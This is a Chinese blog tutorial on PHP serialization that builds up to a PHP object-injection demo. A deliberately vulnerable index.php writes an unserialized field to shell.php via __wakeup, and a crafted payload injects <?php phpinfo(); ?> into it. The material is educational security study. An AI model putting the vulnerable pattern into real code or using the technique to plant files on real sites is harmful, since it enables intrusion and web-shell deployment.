序列化和反序列化

什么是序列化&反序列化

  • 序列化: 序列化是将变量转换为可保存或传输的字符串的过程。

  • 反序列化:将在序列化过程中所生成的字符串再转化成原来的变量使用。

PHP序列化的方法

PHP最初通过内置的serialize()unserialize()函数来实现序列化。serialize()的参数可以是resource类型外的所有变量类型,最常见的是用来序列化对象,unseialize()serialize的返回结果作为参数,进行反序列化,得到原对象
对不受信任的数据上使用内置的unserialize()函数时,通常是有风险的。
对于对象有两种“魔术方法”,__sleep()__wakeup(),可以在类别中实现。而会分别从serialize()unserialize()中调用,对应于清理和恢复对象的功能。例如,在序列化时可能需要关闭数据库连线,并在反序列化时恢复连线;这个功能可在这两种魔术方法中处理。它们也允许对象选择哪些属性可被序列化。
从PHP 5.1开始有面向对象的序列化机制,即为Serializable接口。

PHP序列化的作用

对象序列化使用情况:

  • 对象的创建的时候被存储到内存里,在解析的时候被销毁,如果机器重启,那么对象也将被销毁在新建。想要保存对象或者将对象传给另一台机器,就需要将对象序列化;或者在需要存储数据到mysql等数据库中时需要序列化。
  • 将对象转化成字符串叫序列化
  • 将字符串转化成对象叫反序列化

总之,就是方便数据传输存储


# 实例说明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
################建立一个数组###################
$arr1 = [];
for($i=0; $i<5; $i++)
$arr1['key'.$i] = 'value'.$i;
echo "建立一个数组arr1:";
print_r($arr1);
echo "</br></br></br></br>";
##############################################

################序列化该数组###################
$arr_serialize = serialize($arr1);
echo "arr1序列化后为:";
print_r($arr_serialize);
echo "</br></br></br></br>";
##############################################

###############反序列化后输出##################
$arr_back = unserialize($arr_serialize);
echo "arr_serialize反序列化后为:";
print_r($arr_back);
##############################################
?>

输出结果如下

注意这里序列化后的开头处是 a

再给出一段代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class test{ #这里定义一个类
var $value = 'abc123';
}

$obj = new test; #new一个对象obj出来
$obj_serialize = serialize($obj); #将obj序列化
print_r($obj_serialize);
echo "</br></br></br>";
$obj_back = unserialize($obj_serialize); #反序列化obj_serialize
print_r($obj_back);
?>

输出结果为:

  • 发现不同之处
  • 当一个数组序列化时,以a 为标志,对象序列化是以 O 为标志
  • 由此可以解读 PHP 序列化:

    a 代表的是 array 数组,5代表变量名称有几个字符, s 代表 string字符串类型,4 为 几个字符,后面的是字符串本身……
    O 代表 object 对象;4代表的是序列化的对象名称有几个字符;对象名称;1为对象有一个值……

unserialize()反序列化函数漏洞

有前面的铺垫,我们可知道序列化得到的字符串是可解读的,那么如果精心构造一个字符串传给unserialize()进行反序列化,就可以控制到我们想控制的东西

  • 前面提到过,当 PHP 调用serizlize()unserialize()函数时,会调用__sleep()__wakeup()两个魔术方法(Magic function)

  • 先介绍下魔术方法:

魔术方法(Magic function)

在命名自己的类方法时不能使用这些方法名,除非是想用其魔术功能。
PHP官方文档-魔术方法
PHP中文网-魔术方法

利用反序列化漏洞

unserialize()调用__wakeup()魔术方法

  • 一个例子:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php 
    class test{ #这里定义一个类
    var $value = 'abc123';
    function __wakeup(){
    echo "__wakeup</br>";
    }
    }

    $demo = unserialize('O:4:"test":1:{s:5:"value";s:6:"abc123";}');
    #O:4:"test":1:{s:5:"value";s:6:"abc123";}是序列化test->value的值
    print_r($demo);
    ?>
  • 结果如下:
    明显unserialize()调用了__wakeup()

利用unserialize()函数漏洞

  • 环境:
  • index.php和shell.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
var $value = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->value);
fclose($fp);
}
}
$get = $_GET['getvalue'];
unserialize($get);

?>
  • 我们可以控制序列化的字符串达到利用__wakeup()函数的目的
  • 这里构造一个包含有phpinfo();的字符串

PHP脚本如下:

1
2
3
4
5
6
7
8
9
<?php 
class test{
var $value = '123';
}
$obj = new test;
$obj->value = "<?php phpinfo(); ?>";
$temp = serialize($obj);
print_r($temp);
?>

运行后得到
O:4:"test":1:{s:5:"value";s:19:"<?php phpinfo(); ?>";}

将其传入漏洞站点

打开shell.php发现成功写入<?php phpinfo(); ?> 并解析成功


AbelChe wechat
扫码加微信
Donate here!!!
0%